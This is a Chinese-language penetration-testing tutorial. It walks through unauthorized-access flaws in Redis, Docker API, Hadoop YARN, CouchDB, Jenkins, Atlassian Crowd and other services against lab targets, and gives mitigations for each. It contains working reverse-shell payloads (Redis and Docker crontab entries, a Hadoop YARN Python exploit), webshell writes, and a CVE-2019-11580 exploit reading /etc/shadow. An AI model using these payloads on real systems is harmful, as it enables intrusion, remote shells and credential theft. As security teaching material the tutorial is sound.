Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器、添加计划任务、写入Webshell等操作。
目标靶机: centos7
ip地址: 192.168.18.138
连接工具:Xshell
wget http://download.redis.io/releases/redis-2.8.17.tar.gz
tar xzvf redis-2.8.17.tar.gz #解压安装包
cd redis-2.8.17 # 进入redis目录
make #编译
cd src/ #进入src目录
cp redis-server /usr/bin/
cp redis-cli /usr/bin/ #将redis-server和redis-cli拷贝到/usr/bin目录下(这样启动redis-server和redis-cli就不用每次都进入安装目录了)
cd .. # 返回上一级目录
cp redis.conf /etc/ #将redis.conf拷贝到/etc/目录下
redis-server /etc/redis.conf # 使用/etc/目录下的redis.conf文件中的配置启动redis服务
服务启动成功!
服务启动成功为了方便,在windows攻击机里下载一个redis clinet下载地址:https://github.com/caoxinyu/RedisClient/releases (利用redis写webshell测试使用)
下载地址:https://github.com/dmajkic/redis/downloads (利用crontab反弹shell测试使用)
使用redis clinet 直接无账号成功登录redis
从登录结果可以看出redis未启用认证。
利用前提:
靶机redis未授权,在攻击机能用redis clinet连接,如上图,并未登录验证
靶机开启web服务,并且知道网站路径,还需要具有文件读写增删改查权限
靶机网站路径:/var/www/html/这里我们调出Console
由于本地搭建,我们已经知道网站路径,我们把shell写入/var/www/html/目录下:
config set dir /var/www/html
config set dbfilename test.php
config set webshell "<?php phpinfo(); ?>"
save
访问test.php
端口监听:在攻击机上监听一个端口(未被占用的任意端口):
nc -lvnp 5555
连接redis,写入反弹shell
redis-cli.exe -h 192.168.18.138
config set dir /var/spool/cron
set -.- "nnn* * * * * bash -i >& /dev/tcp/192.168.15.3/5555 0>&1nnn"
config set dbfilename root
save
反弹shell成功!
nmap -p 6379 --script redis-info <target>
地址:https://svn.nmap.org/nmap/scripts/redis-info.nse
最近出的Redis-RCE,该漏洞利用前提是获取redis访问权限,也就是基于redis未授权访问。
-禁止使用root权限启动redis服务。-对redis访问启动密码认证。-添加IP访问限制,并更改默认6379端口。
开启MongoDB服务时不添加任何参数时,默认是没有权限验证的,登录的用户可以通过默认端口无需密码对数据库任意操作(增、删、改、查高危动作)而且可以远程访问数据库。 造成未授权访问的根本原因就在于启动 Mongodb 的时候未设置 --auth 也很少会有人会给数据库添加上账号密码(默认空口令),使用默认空口令这将导致恶意攻击者无需进行账号认证就可以登陆到数据服务器。
目标靶机: Kali
ip地址: 192.168.18.128
连接工具:Xshell
这里使用docker (https://www.runoob.com/docker/docker-tutorial.html 可自行google)
docker search mongodb # 从Docker Hub查找镜像
docker pull mongo #从镜像仓库中拉取或者更新指定镜像
docker images mongo #列出本地主机上的mongo镜像
docker run -d -p 27017:27017 --name mongodb mongo # 创建一个新的容器并运行一个命令
docker ps -a # 显示所有的容器,包括未运行的
这里使用 NoSQLBooster下载地址:https://s3.mongobooster.com/download/releasesv5/nosqlbooster4mongo-5.1.12.exe
nmap -p 27017 --script mongodb-info <target>
地址:http://nmap.org/svn/scripts/mongodb-info.nse
-为MongoDB添加认证:MongoDB启动时添加--auth参数、为MongoDB添加用户-MongoDB 自身带有一个HTTP服务和并支持REST接口。在2.6以后这些接口默认是关闭的。mongoDB默认会使用默认端口监听web服务,一般不需要通过web方式进行远程管理,建议禁用。修改配置文件或在启动的时候选择 –nohttpinterface 参数 nohttpinterface=false-启动时加入参数--bind_ip 127.0.0.1 或在/etc/mongodb.conf文件中添加以下内容:bind_ip = 127.0.0.1
默认情况下 Jenkins面板中用户可以选择执行脚本界面来操作一些系统层命令,攻击者可通过未授权访问漏洞或者暴力破解用户密码等进入后台管理服务,通过脚本执行界面从而获取服务器权限。
目标靶机: kali
ip地址: 192.168.18.129
连接工具:Xshell
wget http://mirrors.jenkins.io/debian/jenkins_1.621_all.deb # 下载
下载地址:http://mirrors.jenkins.io/
dpkg -i jenkins_1.621_all.deb # 安装
sudo apt-get -f --fix-missing install # 如果有报依赖项的错误时执行
开启Jenkins服务
service jenkinis start
浏览器访问http://192.168.18.129:8080/
如下图所示说明环境搭建成功
访问http://192.168.18.129:8080/manage可以看到没有任何限制可以直接访问
点击“脚本命令执行”
执行系统命令
println "whoami".execute().text
网站路径:/var/www/html (需要具备一定的权限)利用“脚本命令行”写webshell,点击运行没有报错,写入成功
new File ("/var/www/html/shell.php").write('<?php phpinfo(); ?>');
访问shell.php
更多利用方式可参考:https://www.secpulse.com/archives/2166.html
-升级版本。-添加认证,设置强密码复杂度及账号锁定。-禁止把Jenkins直接暴露在公网。
Memcached 是一套常用的 key-value 分布式高速缓存系统,由于 Memcached 的安全设计缺陷没有权限控制模块,所以对公网开放的Memcache服务很容易被攻击者扫描发现,攻击者无需认证通过命令交互可直接读取 Memcached中的敏感信息。
目标靶机: Windows Server 2012
ip地址: 10.0.4.138
连接工具:Xshell
64位系统 1.4.4版本:http://static.runoob.com/download/memcached-win64-1.4.4-14.zip
解压压缩包到指定目录
使用管理员权限运行以下命令:
memcached.exe -d install
启动服务:
memcached.exe -d start
查看进程服务以及端口
netstat -ano | findstr 11211
tasklist | findstr memcached
为了方便测试这里将防火墙关闭
telnet 10.0.4.138 11211 或 nc -vv <target> 11211
无需用户名密码,可以直接连接memcache 服务的11211端口
stats #查看memcache服务状态
地址:https://svn.nmap.org/nmap/scripts/memcached-info.nse
nmap -p 11211 --script memcached-info <target>
-设置Memchached只允许本地访问。-禁止外网访问Memcached 11211端口。-配置访问控制策略。-最小化权限运行。-修改默认端口等。
JBoss是一个基于J2EE的开放源代码应用服务器,代码遵循LGPL许可,可以在任何商业应用中免费使用;JBoss也是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3规范。,默认情况下访问 http://ip:8080/jmx-console 就可以浏览 JBoss 的部署管理的信息不需要输入用户名和密码可以直接部署上传木马有安全隐患。
远程木马服务器: Centos
目标靶机: Kali
ip地址: 192.168.18.129
连接工具:Xshell
这里使用我修改过的docker镜像
docker search testjboss
docker pull testjboss/jboss:latest
docker images
docker run -p 8080:8080 -d 5661a2e31006
http://192.168.18.129:8080/jmx-console/ 无需认证进入控制页面
点击jboss.deployment进入应用部署页面
使用Apache搭建远程木马服务器
访问木马地址http://<ip>/shell.war
成功上传木马
访问http://192.168.18.129:8080/shell/
</ip>
-对jmx控制页面访问添加访问验证。-进行JMX Console 安全配置。
VNC 是虚拟网络控制台Virtual Network Console的英文缩写。它是一款优秀的远程控制工具软件由美国电话电报公司AT&T的欧洲研究实验室开发。VNC是基于 UNXI 和 linux 的免费开源软件由 VNC Server 和 VNC Viewer 两部分组成。VNC 默认端口号为 5900、5901。VNC 未授权访问漏洞如被利用可能造成恶意用户直接控制target主机。
目标靶机: Windows Server 2003 Standard Edition
ip地址: 192.168.15.8
下载地址:https://archive.realvnc.com/download/open/4.0/进行安装(一直下一步即可)
vncviewer 192.168.15.8
-配置 VNC 客户端登录口令认证并配置符合密码强度要求的密码。-以最小普通权限身份运行操作系统。
Docker 是一个开源的引擎可以轻松地为任何应用创建一个轻量级的、可移植的、自给自足的容器。开发者在笔记本上编译测试通过的容器可以批量地在生产环境中部署包括 VMs、bare metal、OpenStack 集群和其他的基础应用平台Docker。 Docker Remote API 是一个取代远程命令行界面(rcli)的REST API。存在问题的版本分别为 1.3 和 1.6因为权限控制等问题导致可以通过 docker client 或者 http 直接请求就可以访问这个 API,通过这个接口,我们可以新建 container,删除已有 container,甚至是获取宿主机的 shell。
目标靶机: Kali
ip地址: 192.168.15.5
连接工具:Xshell
# 下载环境
mkdir docker
cd docker
wget https://raw.githubusercontent.com/vulhub/vulhub/master/docker/unauthorized-rce/Dockerfile
wget https://raw.githubusercontent.com/vulhub/vulhub/master/docker/unauthorized-rce/docker-compose.yml
wget https://raw.githubusercontent.com/vulhub/vulhub/master/docker/unauthorized-rce/docker-entrypoint.sh
#或者利用DownGit下载https://github.com/vulhub/vulhub/blob/master/docker/unauthorized-rce
DownGit网址:https://minhaskamal.github.io/DownGit/#/home
chmod 777 docker-entrypoint.sh # 给docker-entrypoint.sh权限
docker-compose build && docker-compose up -d # 编译并启动环境
docker -H tcp://192.168.15.5:2375 version
# vps监听9999端口
nc -lvnp 9999
# 启动容器
docker -H tcp://192.168.15.5:2375 run -id -v /etc/crontabs:/tmp alpine:latest
docker -H tcp://192.168.15.5:2375 ps
docker -H tcp://192.168.15.5:2375 exec -it a8ff7ed880fb sh # 进入容器
echo '* * * * * /usr/bin/nc {vps_ip} 9999 -e /bin/sh' >> /tmp/root #添加计划任务
cat /tmp/root # 查看/tmp/root 文件
exit #退出容器
反弹宿主机shell
还有其他比如写入ssh公钥等利用方式,方式方法都是大同小异的,这里就不再介绍了。
也可以直接利用Python脚本
import docker
client = docker.DockerClient(base_url='http://{target_ip}:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc {vps_ip} 9999 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})
Docker 未授权访问漏洞利用脚本[没试过]
https://github.com/Tycx2ry/docker_api_vul
-简单粗暴的方法,对2375端口做网络访问控制,如ACL控制,或者访问规则。-修改docker swarm的认证方式,使用TLS认证:Overview Swarm with TLS 和 Configure Docker Swarm for TLS这两篇文档,说的是配置好TLS后,Docker CLI 在发送命令到docker daemon之前,会首先发送它的证书,如果证书是由daemon信任的CA所签名的,才可以继续执行。
zookeeper是分布式协同管理工具,常用来管理系统配置信息,提供分布式协同服务。Zookeeper的默认开放端口是2181。Zookeeper安装部署之后默认情况下不需要任何身份验证,造成攻击者可以远程利用Zookeeper,通过服务器收集敏感信息或者在Zookeeper集群内进行破坏(比如:kill命令)。攻击者能够执行所有只允许由管理员运行的命令。
目标靶机:Centos
ip地址:172.16.2.251
连接工具:Xshell
#搭建环境
wget https://mirrors.tuna.tsinghua.edu.cn/apache/zookeeper/zookeeper-3.4.14/zookeeper-3.4.14.tar.gz
tar -xzvf zookeeper-3.4.14.tar.gz
cd zookeeper-3.4.14/conf
mv zoo_sample.cfg zoo.cfg
../bin/zkServer.sh start # 启动
#获取该服务器的环境
echo envi|nc 172.16.2.251 2181
利用zookeeper可视化管理工具进行连接下载地址:https://issues.apache.org/jira/secure/attachment/12436620/ZooInspector.zip
-修改 ZooKeeper 默认端口,采用其他端口服务。-添加访问控制,配置服务来源地址限制策略。-增加 ZooKeeper 的认证配置。
Rsync(remote synchronize)是一个远程数据同步工具,可通过 LAN/WAN 快速同步多台主机间的文件,也可以同步本地硬盘中的不同目录。Rsync 默认允许匿名访问,如果在配置文件中没有相关的用户认证以及文件授权,就会触发隐患。Rsync 的默认端口为 837。
目标靶机:Kali
ip地址:172.16.2.250
连接工具:Xshell
#利用DownGit下载https://github.com/vulhub/vulhub/tree/master/rsync/common
DownGit网址:https://minhaskamal.github.io/DownGit/#/home
# 上传文件到靶机并进行解压
unzip common.zip
# 编译并启动docker容器
cd common/
docker-compose build && docker-compose up -d
#rsync rsync://{target_ip}/
rsync rsync://172.16.2.250:873/
rsync rsync://172.16.2.250:873/src
rsync rsync://172.16.2.250:873/src/etc/passwd ./
# 下载crontab配置文件
rsync rsync://172.16.2.250:873/src/etc/crontab ./
该环境crontab中
17 * * * * root cd / && run-parts --report /etc/cron.hourly
表示每小时的第17分钟执行run-parts --report /etc/cron.hourly
# 写入bash并赋权
vim nc
chmod 777
# 将文件上传至/etc/cron.hourly
rsync -av nc rsync://172.16.2.250:873/src/etc/cron.hourly
# 本地监听9999
nc -lnvp 9999
反弹成功。
-账户认证:正确配置认证用户名及密码。-权限控制:使用合理的权限。-网络访问控制:控制接入源ip。-数据加密传输等
Atlassian Crowd和Atlassian Crowd Data Center都是澳大利亚Atlassian公司的产品。Atlassian Crowd是一套基于Web的单点登录系统。该系统为多用户、网络应用程序和目录服务器提供验证、授权等功能。Atlassian Crowd Data Center是Crowd的集群部署版。Atlassian Crowd和Crowd Data Center在其某些发行版本中错误地启用了pdkinstall开发插件,使其存在安全漏洞。攻击者利用该漏洞可在未授权访问的情况下对Atlassian Crowd和Crowd Data Center安装任意的恶意插件,执行任意代码/命令,从而获得服务器权限。
目标靶机:Centos
ip地址:192.168.18.138
连接工具:Xshell
wget https://product-downloads.atlassian.com/software/crowd/downloads/atlassian-crowd-3.4.3.zip
unzip atlassian-crowd-3.4.3.zip
cd atlassian-crowd-3.4.3
vim crowd-webApp/WEB-INF/classes/crowd-init.properties
./start_crowd.sh
访问http://192.168.18.138:8095 点击Set up Crowd
可以在这里申请试用30天https://my.atlassian.com/products/index 并填写license进行下一步安装,直到安装完成。
进行上传一个标准的插件,来自atlassian-bundled-plugins中的applinks-plugin-5.4.12.jar
curl --form "file_cdl=@applinks-plugin-5.4.12.jar" http://192.168.18.138:8095/crowd/admin/uploadplugin.action -v
成功上传
漏洞利用脚本github地址:https://github.com/jas502n/CVE-2019-11580
git clone https://github.com/jas502n/CVE-2019-11580
cd CVE-2019-11580/
python CVE-2019-11580.py http://192.168.18.138:8095
curl http://192.168.18.138:8095/crowd/plugins/servlet/exp?cmd=cat%20/etc/shadow
-设置访问/crowd/admin/uploadplugin.action的源ip。-升级最新版本(3.5.0以上)。
Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式,JAVAScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,Credit Suisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序),默认会在5984端口开放Restful的API接口,如果使用SSL的话就会监听在6984端口,用于数据库的管理功能。其HTTP Server默认开启时没有进行验证,而且绑定在0.0.0.0,所有用户均可通过API访问导致未授权访问。 在官方配置文档中对HTTP Server的配置有WWW-Authenticate:Set this option to trigger basic-auth popup on unauthorized requests,但是很多用户都没有这么配置,导致漏洞产生。
目标靶机:Kali
ip地址:192.168.18.129
连接工具:Xshell
mkdir couchdb
wget https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/docker-compose.yml
docker-compose up -d
curl http://192.168.18.129:5984
curl http://192.168.18.129:5984/_config
本机python运行http服务
python -m SimpleHTTPServer 9999
#依次执行如下命令
curl -X PUT 'http://192.168.18.129:5984/_config/query_servers/cmd' -d '"curl http://192.168.18.138:9999/test.php"'
curl -X PUT 'http://192.168.18.129:5984/vultest'
curl -X PUT 'http://192.168.18.129:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
curl -X POST 'http://192.168.18.129:5984/vultest/_temp_view?limit=11' -d '{"language":"cmd","map":""}' -H 'Content-Type: application/json'
成功执行
nmap -p 5984 --script "couchdb-stats.nse" {target_ip}
-绑定指定ip。-设置访问密码。
ElasticSearch是一个基于Lucene的搜索服务器。它提供了一个分布式多用户能力的全文搜索引擎,基于RESTful web接口。Elasticsearch是用Java开发的,并作为Apache许可条款下的开放源码发布,是当前流行的企业级搜索引擎。Elasticsearch的增删改查操作全部由http接口完成。由于Elasticsearch授权模块需要付费,所以免费开源的Elasticsearch可能存在未授权访问漏洞。该漏洞导致,攻击者可以拥有Elasticsearch的所有权限。可以对数据进行任意操作。业务系统将面临敏感数据泄露、数据丢失、数据遭到破坏甚至遭到攻击者的勒索。 Elasticsearch服务普遍存在一个未授权访问的问题,攻击者通常可以请求一个开放9200或9300的服务器进行恶意攻击。
目标靶机:Centos
ip地址:192.168.18.138
连接工具:Xshell
# elasticsearch需要JDK1.8+
# 创建elasticsearch用户,elasticsearch不能root执行
useradd elasticsearch
passwd elasticsearch
su elasticsearch
#下载环境
wget https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-5.5.0.zip
# 解压并启动
unzip elasticsearch-5.5.0.zip
cd elasticsearch-5.5.0/bin
./elasticsearch
成功安装
curl http://localhost:9200/_nodes #查看节点数据
更多利用可以自行搜索一下
-访问控制策略,限制IP访问,绑定固定IP。-在config/elasticsearch.yml中为9200端口设置认证等。
Hadoop是一个由Apache基金会所开发的分布式系统基础架构,由于服务器直接在开放了 Hadoop 机器 HDFS 的 50070 web 端口及部分默认服务端口,黑客可以通过命令行操作多个目录下的数据,如进行删除,下载,目录浏览甚至命令执行等操作,产生极大的危害。
目标靶机:Kali
ip地址:192.168.18.129
连接工具:Xshell
mkdir hadoop
cd hadoop/
wget https://raw.githubusercontent.com/vulhub/vulhub/master/hadoop/unauthorized-yarn/docker-compose.yml
wget https://raw.githubusercontent.com/vulhub/vulhub/master/hadoop/unauthorized-yarn/exploit.py
#或者利用DownGit下载https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn
DownGit网址:https://minhaskamal.github.io/DownGit/#/home
docker-compose build && docker-compose up -d #编译并启动环境
访问 http://192.168.18.129:8088/cluster
利用过程:在本地监听端口 >> 创建Application >> 调用Submit Application API提交
本地监听9999端口
EXP:
#!/usr/bin/env python
import requests
target = 'http://192.168.18.129:8088/'
lhost = '192.168.18.138' # put your local host ip here, and listen at port 9999
url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
'application-id': app_id,
'application-name': 'get-shell',
'am-container-spec': {
'commands': {
'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
},
},
'application-type': 'YARN',
}
requests.post(url, json=data)
反弹成功
-如无必要,关闭 Hadoop Web 管理页面。-开启身份验证,防止未经授权用户访问。-设置“安全组”访问控制策略,将 Hadoop 默认开放的多个端口对公网全部禁止或限制可信任的 IP 地址才能访问包括 50070 以及 WebUI 等相关端口。
Jupyter Notebook(此前被称为 IPython notebook)是一个交互式笔记本,支持运行 40 多种编程语言。如果管理员未为Jupyter Notebook配置密码,将导致未授权访问漏洞,游客可在其中创建一个console并执行任意Python代码和命令。
目标靶机:Kali
ip地址:192.168.18.129
连接工具:Xshell
wget https://raw.githubusercontent.com/vulhub/vulhub/master/jupyter/notebook-rce/docker-compose.yml
docker-compose up -d
访问 http://192.168.18.129:8888
New > Terminal 创建控制台
可以执行任意命令
-开启身份验证,防止未经授权用户访问。-访问控制策略,限制IP访问,绑定固定IP。